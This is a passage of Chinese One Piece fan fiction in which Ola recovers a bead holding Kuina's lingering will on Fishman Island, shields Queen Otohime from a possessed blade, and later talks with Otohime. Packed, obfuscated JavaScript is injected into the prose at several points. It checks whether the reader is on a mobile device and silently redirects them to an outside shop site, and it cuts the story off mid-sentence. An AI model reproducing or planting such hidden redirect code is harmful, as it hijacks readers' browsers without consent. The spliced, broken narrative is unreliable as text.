她落在身侧的手指不自觉的绞着裤缝,为了让自己看起来真诚些,她强让自己的目光紧紧注视着马尔科的双眼。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16988691|193660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我,丢了,东西,重要。” 她缓慢的措辞。 期间马尔科只静静听着,脸上没什么表情,看不出情绪。 她抑制住就此结束对话,转身逃离的想法。艰难的把剩下的话说了出来:“可以,找吗?下船?” 最后,她还是选择说出真相只是隐瞒了部分事实,说谎对她来说没有好处,若是被识破了更是雪上加霜。 她已经打定主意,要是马尔科追问,她就保持沉默什么也不说,堂堂白胡子一番队队长不至于因此对她这个普通人动手。 殊不知她一副什么也不说的打算早已写在了脸上。 马尔科看着眼前双手紧贴裤腿,嘴巴抿成一条直线,肩膀绷紧的女孩并未马上给出答复,却也没让奥拉忐忑太久。 他没有追问任何关于奥拉所丢之物的细节,只是轻轻颔首,向奥拉走进几步反手关上了医务室的门。 “正好我要去采购些药品,一起吧,yoi。” 根本没想到马尔科会这么轻易的放过盘问自己,奥拉一时没有反应过来,喉咙里含糊的吐出单个疑问的音节。 “......欸?” 还是马尔科略带无奈的嗓音从她头顶响起,将她的飘忽拉回到现实种,“不走吗yoi” “走、走!” 奥拉猛然惊醒,连连点头,紧跟在马尔科的身侧。 与此同时,龙宫城内。 宴席在欢腾喧嚣中持续进行,鱼人岛的特色摆于席面之上,除此之外珍馐百味,美酒佳肴,无不体现着鱼人岛对白胡子的热烈欢迎。主位上白胡子高举酒杯与尼普顿国王对饮,醇厚而富有色泽的酒液在欢声笑语中被一饮而尽。 下方长桌两旁,白胡子海贼团的成员们推杯换盏,气氛正好。 尼普顿和白胡子的对话反而在这份喧闹中,形成了片天然的无人打扰的空间。 “海王类的暴动吗?最近确实发生的很频繁。”尼普顿闻言,脸上醉意退却了些许,显出几分国王特有的沉稳与忧虑,“我会多加注意的,多谢你的提醒,纽盖特。” 白胡子倚在由整块暖红色珊瑚雕琢而成的宽大靠背上,对于好友的话不置可否。难得与友人见面,他十分放松,威名赫赫的四皇竟也闲散的聊起了家常:“孩子们最近怎么样?” “多亏了你,现在岛上倒没有那么多海贼捣乱了。”提及此,尼普顿稍顿后,脸上露出了个堪称温和的微笑,“我也马上要有新的孩子降生了。” “哦?咕啦啦啦,那我可得提前备好贺礼了。”白胡子粗狂的手掌拍在尼普顿的背上,真心为自己的兄弟感到喜悦,半响后,他又问道:“倒是没见到乙姬,她还好吗?” 提到爱妻,尼普顿的表情明显变成了一种更真切的柔软。他目光深沉的投向龙宫之外,好像能透过厚实的墙壁,嘈杂的人群落到爱人的身上。 他沉吟半刻后,声音稍低了些。 “纽盖特,我们想参与下次世界政府的会议。” 15. 我抗刀吗? 砰、砰! 两声枪响划破天际。 “都给我滚开!” 持枪的男人撞开银行的大门,跌跌撞撞的跑向外面,他怀中紧紧勒住工作人员的脖子,枪指着茫然的群众大声呵斥。 在他身后,慢了一步的银行经理,满头汗如雨下,他双手撑住膝盖,用尽力气急声呼喊:“快来人啊!有强盗!” “啊——!” 尖叫声从喧哗的人群中冲出来,紧接着,又是几声枪响。 行人被他的枪声惊吓,四散逃跑。有人就地抱头趴下不敢乱动,祈祷着风波赶紧过去。有人连滚带爬的躲进街道两侧的商铺里,瑟瑟发抖间露出惊恐的眼睛,观察着强盗远去的身影。 自然,也有人并不畏惧这种混乱—— “王妃!不要过去!” “敢在我店门口闹事,不想活了是不是!” 两道声音几乎同时响起,汇聚在这条混乱的街道上。 “喂!滚开!” 在所有人都退却之际,一抹璀璨的金色毅然决然的向骚乱中心奔来,她身后紧跟着帮身着护甲的兵士——竟是鱼人军! “王妃?!” 同时急匆匆冲出来的鱼人武器铺店主,见到来人的容貌,惊讶的大喊出声。 强盗被夹在两人之间,进退不得。他双目赤红,胸脯强烈的上下起伏,人质被他强有力的手臂勒的面色惨败,此刻已经看不到任何挣扎的动作了。 人鱼王妃并未因强盗的停滞而减缓脚步,她面色不改,径直冲了过去。 “可恶,我已经警告过你了!” 强盗咬紧牙关,朝着人鱼王妃连开数枪。 “砰!砰!砰!” 没料想到这人竟敢真的对乙姬王妃出手,武器店老板抽出腰间的佩刀,想要上前阻止。 但已经来不及了。 子弹呼啸而过,弹身急速的摩擦彷佛能够点燃冷却的空气。 民众的惊呼、与强盗沉重的喘息落在乙姬王妃的耳边,她直视着燧发枪黑洞洞的枪口,那洞口飘散的白烟如慢放般久久徘徊。 她压低身体,不过几个轻巧的闪身,速度算不上多快,竟完美的躲过了直冲面门而来的夺命子弹。 在众人愣神之际,她手臂向后一扬,接着—— 啪! 一记洪亮的耳光响彻街道。 强盗整个人被扇得横飞出去,本能地松开了人质,双手撑地。 “王妃——!这、这.....” 武器铺的店主定在原地,他有些语无伦次,望着乙姬王妃的的滚圆眼睛中带上了惊叹。 乙姬王妃站在人群里算不上强壮,但在场所有人都不由得将视线放到了她的身上。她纤细的手臂垂落在身侧,鲜红从她的手掌滚落。她沉稳的矗立,视线所过之处便是不可言说的威严所在。 然而她的威严仅存了几秒,她身上丝毫没有传说中的皇室礼仪,捂着自己的受伤的手大叫出声:“好疼!” 那从她身上散发出的,让人不可忽视的气势也因此陡然破散。 就在众人长舒口气,以为事情已经落幕时,乙姬王妃面色骤变。 “等等,别过来!” 几乎她话音刚落,不过转头的瞬间,一柄长刀直直朝她砍来—— - “......所以只要它在这里,我就能找到它?” “是的,宿主。它已与您绑定,您应该可以感应到它的方位。” 奥拉亦步亦趋的跟在马尔科的身边,她努力按捺住自己那无处安放的好奇心,尽可能的只在鱼人岛上漂亮又鲜艳的建筑上面流连。那些五颜六色的珊瑚丛、精致的贝壳装饰、运用颇广的独特泡泡无一不牵动着她的心。 然而,她的目光还是会控制不住的飘向其他地方:我靠,章鱼人——!天呐,是活的美人鱼! 彷佛有个小人在她身上疯狂的尖叫,但她表面还维持着镇静,在被人发现无礼的偷看前若无其事的移开视线。 不过她并没有忘记这次出来的目的,心里还有一搭没一搭的向系统询问着珠子的事情。 “感应?我能感应到的范围大概多大?”听到系统的答复,奥拉追问道。 “不好说。” 奥拉:......? 她的脚步稍顿了下。 你听听这像是一个系统会给出的答复吗?你不该是主神或者世界意识搞出来的高科技或者高纬度生物吗? “你到底哪里比AI高级了。”她没有忘记先前系统自己鼓吹的话,忍不住吐槽。 “呵呵。”系统发出了声极短的诡异笑声,没有直接反驳,而是继续道:“这边建议您相信直觉呢,敏锐的直觉也是霸主需要具备的关键能力哦~” 直觉?......眼下没有她没有任何发现,好像也只能试试了。她闭上眼睛暂时屏蔽掉鱼人岛上对她致命的吸引力,仔细感受着系统提到的特殊感应。 忽略周身的车水马龙,在黑暗中摸索着那抽象概念的‘方向’。 “...呃!”冷不丁的。她的鼻子撞上了温热坚实的后背,轻微的酸胀让她瞬间回神,捂着鼻子向后踉跄了半步。 她只顾着找东西了,都没发现马尔科什么时候停下了脚步。 “对、对不起......” 她含糊着道歉,因为没仔细看路导致撞上人,连语气都有点虚。 奥拉揉着鼻子心虚的抬眼,才发现马尔科并没有看她,甚至似乎没有注意到刚刚的小碰撞。他静静的注视着某个方位,下颚线似乎比平时紧绷了些许。 “前面好像出事了yoi。” 待奥拉和马尔科赶到时,(尼普顿)鱼人军已经自行围成包围圈,一边将民众们挡在外侧,避免局面更加混乱。一边将袭击乙姬王妃的歹徒围在中央,让他无处可逃。但因为乙姬王妃还在里面周旋的缘故,鱼人军们迟迟没有将这家伙拿下。 “...马尔科?” 蓝色皮肤的鱼人守在最外侧,见到来人有些吃惊。 为了防止走丢紧紧抓着马尔科衣服边角的奥拉听到声音,探出了脑袋,正巧对上鱼人兵士的打量。 她不由得摒住了呼吸,是年轻的甚平老大!! 她记得甚平早年还在鱼人岛的时候加入了尼普顿军,所以现在他护卫的是......? 奥拉忘记了要松开马尔科的衣角,布料被她攥在手里渡上了层温热。她透过鱼人兵士们之间留出的缝隙间,看清了里面的情况。 乙姬王妃的身影很好辨认,她在兵士们的包围圈里灵活游走,一次次躲过向她挥去的利刃,她面色微白,看上去状态并不太好。 在她的身侧有一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16988692|193660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个海马人鱼手持三叉戟,帮乙姬挡掉了几次躲不过去的挥砍,他焦急的请求着乙姬赶紧离开,声音震天响,但乙姬却不为所动。 奥拉看着乙姬一张一合的嘴,她似乎在对歹徒说些什么,但离得太远了,奥拉听不真切。 “有人袭击了乙姬王妃。”一旁甚平收回视线,斟酌着向马尔科透露些许情报。说着他挤成川字的眉头微动,多了些无奈的语气,“只是,那家伙有些奇怪......现在王妃不愿意撤离。” 闻言,马尔科表示理解的微微点头,身姿松弛的站在原地,并没有要立刻插手的意思。 既然不是人类在鱼人岛犯事,那么就是鱼人岛的内政,白胡子海贼团通常不会干涉。 交谈的功夫他被某种力量带着往前走了一步,马尔科低头,顺着自己被拉扯绷直的衣角看去,目光落在奥拉的身上。 她几乎大半个身子都探了出去,脖颈伸长,眼睛一瞬不瞬的盯着前方。偏偏手还死死拽着他的衣角不放。这副又好奇又不敢在凑近点看的模样,让他觉得有些好笑。 他没有出声提醒,只是任由衣物承受这微不足道的拉力,重新将视线投回场中。 持刀鱼人还在发疯的挥砍着,与甚平所说一致,他的样子确实奇怪。 他满目惊恐,瞪圆的眼睛里红丝遍布,分不清究竟是泪水还是汗水混杂着从他的鼻梁掉落到地上。他看上去像是被迫袭击乙姬王妃的一样,可又实实在在是他自己的双手挥舞着刀剑。 马尔科敏锐的注意到了丝不对,他眯起眼睛,隐约看到了鱼人手中的刀身上似乎正泛着层淡蓝色的纹路。 ——他的武器不对劲! 马尔科几乎是立刻有了判断,还没等他将发现告知甚平。便感受到拉扯着自己的力道松开,他眼下同时看到了个炮弹似冲出去的影子,利落的从鱼人士兵们的间隔穿了进去,跑进了危险的内围。 马尔科:?! 甚平也明显愣了一下,视线追着那道突然闯入的身影,粗壮的眉毛抬高了半分。 “有人类跑进去了!” 后知后觉的,围着的人群里有人高吼出声。这一声激起千层浪,护卫在乙姬王妃周侧的海马人鱼右大臣疾言厉色:“人类,离开这里!” 连乙姬王妃都投来了惊讶的目光。 不过这几秒钟的分神,持刀鱼人就已贴近了乙姬王妃,当头猛猛砍下。 “王妃,快走!” 持刀的鱼人硬挤出来的嗓音听起来有些许怪异,他向后仰直身体,双手止不住的颤抖,似乎在和自己对抗。但能做的不过是减缓了些许砍下去的时机,那柄悬在乙姬王妃头上的刀还是狠戾的落了下去。 “可恶...”甚平的攻击还未到达,拳前正在蓄力的水波纹戛然而停。 有人比他的鱼人空手道更快,那个身影在迅雷不及间挡在了乙姬王妃的面前,以双手之力,死死抵住刀刃。 大半的刀身没入那人的血肉,她却未有退缩之意。 奥拉的眼前只有那柄刀,在看到它的第一眼,奥拉心中就有了个模糊的熟悉感。 她十分肯定,它就是那颗珠子。 她光是抵抗就用上了所有的力气,才没让刀刃直接削掉自己的手掌。 她近乎决绝的,从齿被里挤出几分恼怒的低吼。 “给我,回来。” 16. 我要成为海贼王 回应着奥拉的是一阵震颤。 蓝色的纹路顺着刀身开始快速的向奥拉的手中聚拢,随着这股蓝光的消逝,刀锋也终于不再那么沉重了。 脱离了控制后,这柄刀重新变得乖顺,顺着它主人武器铺店主的力道被扔了出去,锋利的刀刃在半空中甩出点点血迹,最后刺入了坚实的土地里。 “抓住他!” 右大臣自震愕中惊醒,他厉声下令,兵士们立刻应声,瞬间将瘫软在地的武器店店主团团围住。 刀已飞出去后,她的手还未察觉般的保持着抵挡的姿势。手掌心的剧痛麻木了她的神经,直到指尖触碰到了丝凉意,她的手才轻轻攥成拳头垂落下来。 汩汩血液从她的指缝流窜,蜿蜒如流淌的溪流,源源不断的爬满骨节,攀附在因失血而愈发苍白的皮肤上,在肌肉的轻颤中摇摇欲坠。 “医生,先为她止血!” 乙姬急忙上前查看奥拉的情况,都未顾及自己的身上也还带着伤势。当她的目光径直落在奥拉血肉模糊的手上时,眼底霎时涌起了片不忍。 她扬声呼唤着鱼人军的随队医生为奥拉包扎,小心翼翼的想要用双手帮她托住手臂让医生查看。 但在她触及之前,奥拉的手臂被另一双手稳稳的接了过去,那明显不是鱼人的手。 他宽厚的手托在奥拉的手背上,沉静的提醒道:“奥拉,张开手yoi。” 然而,奥拉浑然未觉,只低着头,呼吸沉重而短促,额发被冷汗浸湿。 马尔科目光敏锐的发觉她手掌中似乎藏着什么东西,面上神情未变,转而小心收拢指节,将奥拉沉浸在疼痛中的手包于自己掌心之中。 下一秒,微小的青色火苗在两个贴紧的手中燃起。 肉眼可见的减缓了出血的速度。 马尔科抬眼,迎上乙姬那担忧的目光,他没有多言,侧头示意待命的医生先为乙姬疗伤,“乙姬王妃,您也受伤了,先处理伤口吧yoi。” “......马尔科先生,她现在状态怎么样?” 乙姬自然认出了白胡子的队长马尔科,对于他的能力也有点了解。只是看着至今都不曾言语的奥拉,她仍然无法放心。 马尔科同样察觉到了奥拉的异常,她能够独自站立,说明至少还是清醒的状态。却对周围的声音没有任何的反应,如一座石头雕像不言不语。只有她急促的呼吸和浑身的战栗代表着她能感知到身体疼痛的状态。 “......” 这种情况就算是治疗经验丰富的马尔科也没法立刻给出判断,他缓缓抽回双手,独留火焰在奥拉的手上颤颤巍巍的燃烧。接着他俯下身去,手臂穿过奥拉的腿弯,将她打横抱起。“抱歉,乙姬王妃,我先带她回去治疗yoi。” 其实奥拉并不是感受不到外界。相反,所有嘈杂,惊讶的、担忧的、以及那轻轻攀附着的温暖都能感受到。 只是有更加强烈的东西强制吸引着她,让她不得不摒弃掉所有的反应,全神贯注的来应对它。 那颗珠子,就在她眼前。 准确的说,她像是第一次进入争霸日志般,掉入了某个幻境中。 但她又明确的感觉到自己的身体不在这里,如同精神分裂般的体验对她来说并不难受,还很新奇。 她尝试呼唤系统,毫不意外的,这个不靠谱的家伙又消失了。 对此,奥拉已经开始习惯了,她只得静静的等待着。 很快,一段声音突兀的响起。 “锵——!” 清脆、响亮的击打接连几次。虽没有画面,却能让人勾勒出,发出这样声音的主人,定是干脆利落的。 像是映正奥拉的想象,一个看不见面孔,通身被深蓝色包围的人缓缓出现在了她的视觉中心,看模糊的身量应该是个小女孩。 她正认真的挥舞着手中的剑。 一下又一下。 用力的,挥砍着,发泄着什么。 “我一定会成为世界上最强的剑豪!” 女孩宣誓还带着孩童的稚气,却十分坚定。 女孩的决然撞进奥拉的心里,她瞳孔猛缩,忽地在一团迷雾中感受到了异样的熟悉。 她好像认识这个女孩? 这个认知攫住了她的心神,她迫切的想要拨开迷雾去看看那道扑朔的身影。 就在此时,一道不和谐的声音强硬的撕裂了,这个平稳的幻境。 “女孩子,是无法成为世界最强的。” 他平静的陈述着,彷佛这是个不容置疑的事实。 然后等待着,揭示了这个残酷的现实后,女孩的愕然与崩溃。 幻境也是如此的陷入了黑暗,独留一束光打在那个依然挥舞着梦想的女孩身上。 一下又一下。 彷佛那刀剑可以斩断血亲的否认、可以斩断世界的偏见、可以斩断内心的厌恶。 但那把剑自此以后,什么都斩不断,什么也改变不了了。 只能僵硬的重复着机械的动作,等待可怖命运的降临。 “不是?这都什么年代了,大航海时代都开启了,怎么还有老封建?” 奥拉实在忍不住,脱口而出。对于这种偏见深刻的登味发言,她一向是看不惯的。 她恨不得立刻飞到女孩的身边去捂住她的耳朵,可惜她留在这里的似乎只有一缕意识,无论如何挣扎都长不出手臂。 隔着遥远的距离,她不知道女孩能不能听到她的声音,但她依然朝着那束光下的女孩高声道:“别听他的!” “什么叫女孩不行?” “连试都没有试过就轻言放弃,才是真的不行!” 奥拉都不知道自己说的是母语还是这个世界的语言,流畅的话从她意识中传出去,可以听到,可以感受到。她紧紧盯着女孩,那道身影对她的话不为所动,只重复着挥剑的动作,彷佛早已被限制在这没有任何道理的桎梏里。 “我...想要成为世界最强的剑豪!” 出乎奥拉意料的是,女孩并非因为听取了那个声音的否定就丧失了斗志。或者说她早已知晓男女天生生理上会有的差距,也依然继续举起手中的剑。 仍旧坚持着,不是为了斩断什么,只是为了自己的梦想。 “约定好了。” 伴随着混杂着哽咽的、向往的声音落下,挥剑女孩的身影戛然消失。 奥拉怔怔的看着浮在眼前的珠子,嘴唇煽动,想起了她的名字 “...古伊娜?” 珠子静静的悬在她的眼前,没有给出回应。 女孩的结局如何,那豪壮的梦想是否实现,在这里似乎已经有了定论。 奥拉没有想到,宝葫芦召唤出来的居然是这个世界的人或者...灵魂? 此时幻境彷佛摇动了一下,明明没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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对于马尔科的询问,奥拉绷紧了唇线。视线微微游移,看上去小心翼翼的触着马尔科的底线,一副‘我什么都不会说的作态’企图蒙混过关。 见状,马尔科叹了口气,将那颗珠子放到了奥拉的枕头边。 “就那样突然跑过去,也太乱来了吧yoi。” 他双手环抱架在胸前,指责的语气很淡,更多的是不理解。 “我,惹麻烦,给白胡子,对不起。” 奥拉很有闯祸的自觉,非常利落的道歉。事实上她自己也认为这次是她冲动了。 她完全可以等到鱼人军们将持刀鱼人拿下,再想办法偷偷接触那把刀,把自己的珠子带回来。 然而,她回想起当时的情景,心中清楚如果再来一次她还是会冲上去。 她没有替自己狡辩的意思,但还是看着马尔科认真道:“我,不想,有人,因为我,而死。” 不论是袭击者,还是受害者,她没有拯救她人的能力,顶多会有些唏嘘,除此之外不会让她产生更多的情绪。 只是,如果这些人是因为她而死,那情况完全不同了。这样的事情一旦发生,她将永远都无法原谅自己。 正是因为看到了鱼人军中有人向持刀鱼人举枪,她才壮着胆子闯进了危险之中。 至少,最坏的事情应该是没有发生吧...... “所以你就准备自己去送死?”马尔科目光从她脸上狰狞的疤痕,又转到她静静躺着的,缠满绷带的手上,不咸不淡的评价着奥拉的行为。 “不让人省心的家伙yoi。” 白胡子海贼团上到处都是这样的家伙,偏偏马尔科并不讨厌这样的家伙。 17. 古伊娜(已修改) 马尔科离开后,奥拉没有立刻去检查自己的珠子,而是盯着天花板出神。 即便马尔科后面没有继续追问,她也知道这件事情还没有结束。 她必须有一个合理的借口,解释为什么她的珠子会在鱼人岛,为什么这颗珠子会让人失控。毕竟受到袭击的人是龙宫王国的王妃,而她是白胡子带来的人,如果不解释清楚,或许会造成不好的影响。 但要把古伊娜的存在说出去吗......? “系统,古伊娜到底是怎么回事?” “请宿主......” 奥拉直接打断了系统的话,她语气平平,却无不透露着威胁的含义。“如果你什么都不说...我就只能把所有的事情都告诉他们,毕竟我只是一个普通人,你想让我一个人面对四皇和龙宫王国的威势吗?” 见系统未回话,她也不恼,继续道:“你可能并不在意他们是否知晓你的存在,但你有没有想过让亡者重归世界的力量一旦被人发现将会产生什么后果?或许白胡子和龙宫王国现在都不屑于抢夺这个力量,但如果未来发生,乙姬和白胡子死亡以后呢?知晓这个能力的人会不为之心动吗?就算他们都不会,世界上没有不透风的墙,谁能保证你的事情不会在我和他们的谈话过后被泄露出去。” 奥拉实际并不清楚古伊娜在这个时间点上有没有去世,她故意模糊了这点,在诈系统的反应。 “系统,我死了以后你或许不会死。但也会受到某种限制或者因此而受创吧?” 奥拉也不是在乱猜,她会有这样的猜测最直接的原因就是在奴隶船上时系统未激活的状态,以及那看起来毫无必要的试炼。 她都已经绑定了系统,既然同生共死那为什么还要试炼? 如果那个时候她真的死了,系统可不见得也会跟着消失。 所以最简单的做法就是,不用告知目标,不用开启持续稳定的能力,如果宿主死亡也将损失减到最小。 通过试炼的宿主对系统来说才有价值,也是通过试炼后,她才能见到激活后或者说完整体的系统。 她在系统眼里估计只是个可以随意摆布,用来完成所谓争霸目标的棋子,但这并不让她难过或是难堪。 “无论你想要争霸四海的目的是什么......”奥拉举起珠子放在眼前,凝视着珠子体内滚动的星云,语气有些冷,“既然试炼之后,你选定了我。那么就是你需要我,是无法在这片大海上航行的你要依赖我,我不明白你有什么可隐瞒的......” “我们俩难道不是一荣俱荣,一损俱损的吗?” 奥拉最后的质问落下,系统始终没有回应。她后知后觉的意识到她虽是在给自己争取更多的权利,但也无形中做出了让步。 她点出了她与系统的利益是捆绑在一起的。这几乎等同于,她默许了通往那条争霸的道路。即便她现在仍旧认为OnePiece对她来说还是太过遥不可及了,即便在说出‘我要成为海贼王’的豪情退却后,她开始重新被羞耻与现实的浪潮包裹。 路,都已经到脚下了。 良久的沉默过后,久到奥拉以为系统又要避而不答时,它终于出现了。 “宿主,您已初步具备了一个霸主该有的素质,您的进步让人感到欣慰。” 它的夸奖一如既往,奥拉觉得有些怪异,系统的夸奖总带着上位者的俯瞰,而她有时候倒像是被照看的后辈了。 “您的问题,已经收到。作为您长久的合作伙伴,我将采纳您的建议,将为您提供现阶段可用的信息。”系统的话不停,这次没有任何隐瞒。“但在解答具体问题前,请允许我先澄清一个关键概念,宝葫芦并不具备召唤或复活亡灵的能力。它无法从彼岸带来已逝的灵魂,也无法将死亡的过程完全逆转。” 听闻此奥拉眉间染上喜色,“那就是说古伊娜还没死喽!” “并不准确,可以称之为介于生与死之间。”系统的话浇灭了奥拉刚升起的激动,在奥拉询问前,主动解释起来。“她既非此世的生者,也还并未前往彼岸。宝葫芦所吸收的是她人生中某刻的执念,今被召唤出来,她并无意念也无实体,不过靠过往的执念行动。” 奥拉快被系统绕晕了,她从中抓住了两个重点,重新问道:“还未前往彼岸...那她还有重新回到这个世界的可能吗?或者我要做些什么才能让她解脱。宝葫芦是系统开放给宿主的能力吧,但我要她人的执念有什么用?” “既已被宝葫芦吸收,那么她就已经属于您。她未来如何,全取决于您的心意。如何发挥用处,也皆取决于您。” “我的心意?”奥拉不由得加重了手上的力气,将蓝色的珠子置于自己的心口之上,“你说的好像她只是个工具一样,可以任我摆布。” “您理解的并没有错。” 系统的话虽然不近人情,但并不无道理。宝葫芦在攫取这些活死人最后价值的时候,估计也只是衡量着这些人是否能够成为顺手的工具,以便未来帮助宿主完成争霸四海的任务。 奥拉思考了半刻后,心念一动,通过系统界面再次触击了宝葫芦。 【转运珠·1级(可升级/50能量点)】 【命运,发生了改变?】 两行字出现在奥拉面前,她有些疑惑,为何由古伊娜执念制成的珠子会被叫做转运珠,转运……转到是她的运还是?虽有疑虑但她没有继续深思。比名字更重要的是,她确认了自己的想法,看来这颗珠子现在并不是最终形态。 如系统所说,如何‘用好’这颗珠子,全在她的一念之间。 “古伊娜,你,在吗?” 随着奥拉声音落下,一道蓝色的小巧身影出现在了她的面前。不过奥拉清楚,她不是因为听到自己的名字而现身,仅仅只是因为是奥拉在呼唤,仅此而已。 奥拉坐起身来,两条腿架在床沿上,脚尖点在地板,稍稍仰起头。这个高度刚好够她与古伊娜面对面。 蓝色的影子和环境里见到的没什么不同,依然看不到无关,没有情绪,如同木偶人一样,静静的站立在原地。 忽然,奥拉开口问道:“她为什么会使刀失控...是因为执念吗...她的执念...不甘?愤怒?” 因为被否认的性别而不甘,因为父亲的否认而愤怒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16988694|193660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她当时,跌下楼梯的时候,躺在地上即将失去意识的时候,一定怀着巨大的不甘与愤怒吧。 奥拉自言自语般,伸手握住了古伊娜的手,她能够触碰到,古伊娜的手是如此冰凉。 “是的宿主,宝葫芦产出的都是这个世界的产物。既然如此,会对世界产生影响是必定的。请您往后保管好它们,避免产生麻烦。” 奥拉和系统想到了一起去,但不是要保管她们。 她试图将掌心的温度传递到冰冷的身体里去,接着她缓缓的如同宣誓般庄重的说道:“你的执念暂时由我来背负,快点回来吧,古伊娜。” 既然可以随她的心意处置,那她为什么不可以让这些执念重新回到这旷阔的世界中来呢! 为了自己,她也要不断的变强,强到足以守护所有托付于她的执念,直到她可以自由的驰骋在这片大海,直到被封于珠子中的她可以归来。 奥拉深吸一口气,感觉胸腔中某种郁结随着这番宣言而松动。 就在她整理好心情之际,咚咚的敲门声打断了她继续要说的话。 温柔的女声从门外传来。 “你好,奥拉小姐。我是乙姬,希望没有打扰到你,现在我可以进去吗?” “您请进。”边说奥拉边让让古伊娜回到了珠子中。 乙姬王妃进来时,奥拉已经摆上了自认放松的表情。 她是一个人进来的,在大门关上前,奥拉看到门外并无看守的侍卫,这让奥拉很惊讶。乙姬作为龙宫王国的王妃,对她这个人类也太过信任了些。 奥拉光明正大的打量着这个在原著中为族人谋取平等与未来的人鱼王妃,其实心中对于如何解释那场骚乱还没有想法。 “见到你没事真的太好了,多谢阁下出手相救。”乙姬停留在床前,保持着一个礼貌的距离。同时她也在观察着奥拉。 乙姬王妃不是没有见过人类,她与白胡子海贼团的队长们有时也会交流,但她还是第一次独自这么近距离的接触一个人类。 同样呼吸着一片空气的同类。 看着奥拉有些僵硬的表情,她莞尔一笑:“在你的身边,那股情绪似乎变得平静了些。” “啊......”奥拉张大了眼睛,她突然想起来乙姬王妃貌似天生就拥有见闻色。 所以乙姬王妃早就知道那把攻击她的武器有问题? 等等......奥拉发现了华点,如果见闻色能够感知到古伊娜的存在(或许只是某种情绪)那马尔科岂不是也早就发现了? 她千防万防竟然没想到这一层! “不必担忧,那位被牵连进来的店主并没有受到惩罚,我也不会继续追究下去。”乙姬朝着奥拉俏皮的眨了眨眼睛,忽地又凑近了些,鼻尖几乎要碰到奥拉的脸上了。 奥拉被乙姬的动作吓了一跳,身体连往后靠,双手撑住两侧才没摔在床上。乙姬离得极近,奥拉几乎能看到,那双清澈的眼眸里映出她略显慌乱的脸。她能闻到乙姬身上淡淡的、属于深海的气息。 “奥拉小姐,我无意探究你的秘密,只是仍有一个问题。你对鱼人岛,对鱼人是如何看待的呢?” 18. 乙姬王妃 这是一个很好回答的问题,面对龙宫王国的王妃,鱼人岛的掌权者之一,说些漂亮话固然是最安全也最能博得好感的做法。 奥拉却没有直接回答。 沉默少刻后,她磕磕绊绊的说起了别的话题,“您好,您,如何,信任我?” 乙姬眼睫轻眨,很快从奥拉错误的用词中提取到了关键,她笑容淡了几分,语气依然和善。 “不管什么原因。”乙姬的声音平稳而清晰,“你都救了我,也避免了那个店长犯下无可挽回的罪过。这是事实。” 当然,这个人类女孩的初衷或许只是为了那股莫名的情绪。乙姬对此心知肚明,但没有挑破。 奥拉尽力忽略掉乙姬那距离太近让人无法忽视的存在感,努力组织着有限的词汇,试图将脑海里逐渐清晰起来的想法传递出去,还要小心不能激怒眼前这个记挂着国民的好王妃。 “我,信任,塔克。”犹疑间她先说出了个她十分熟悉的名字,她半垂着眼躲开乙姬的视线,一时竟然忘了解释塔克是谁。只不管不顾的想要先把自己的话说完。 “但不,信,其他鱼人......觉得,危险。” 危险——这个词过于直白,以至于乙姬王妃脸上的笑容已经彻底消失了。 她不会为此而生气,只是感受到了一股浓浓的、久久盘旋在她心头的悲哀。 恐怖、丑陋、怪物。人类对她们的形容词多是如此,几百年,几千年都是如此,没有任何的变化。哪怕是天生面相更像人类的人鱼们,也逃不过那份因觊觎美丽而滋生的掠夺之心。 人类与鱼人,人鱼之间,隔着千万米的海洋,隔着世代累积的鲜血与伤痛。似乎永远只能隔着一道无法跨越的墙,通过模糊的印象,不了解的面孔,不断的恐惧着、仇恨着对方。 沉重的气氛在两人间蔓延。 乙姬稍稍后退拉开了与奥拉的距离,她看着奥拉低垂着的侧脸,缓缓的深深的叹了口气。 旋即又重新展露笑颜,只是那抹笑意及浅,远不达眼底。 乙姬何尝不明白消解两个种族间的仇视并非一朝一夕就能完成的事情,她没有资格要求自己的同族们放下心中的成见,自然也不能随便几句话就让人类对她们改观,更何况眼前这个人在那样危险的情况下依旧挺身而出,保护了她。 只是遇到一个会帮助鱼人族的人类,她的心中难免会有所期待:这个人或许会与其他人类有不同的看法。 现在期望落空了,连她舒展的眉宇间都染上了层浅浅的失望。继而,这股失望的情绪又很快被她收敛、消化,转为一种坚韧流淌入心中。 乙姬是明了这些阻碍后还是决定走上这条路的,无论如何她都不会轻言放弃。只要她在努力些,只要获得国民的认可的话...... “其他人,一样,和我,或许。” 在乙姬看不到的角度,奥拉焦躁的煽动着睫毛,始终等不到乙姬的回答,她心中有一种‘完了’的崩溃感,手指不安分的扣着床单。 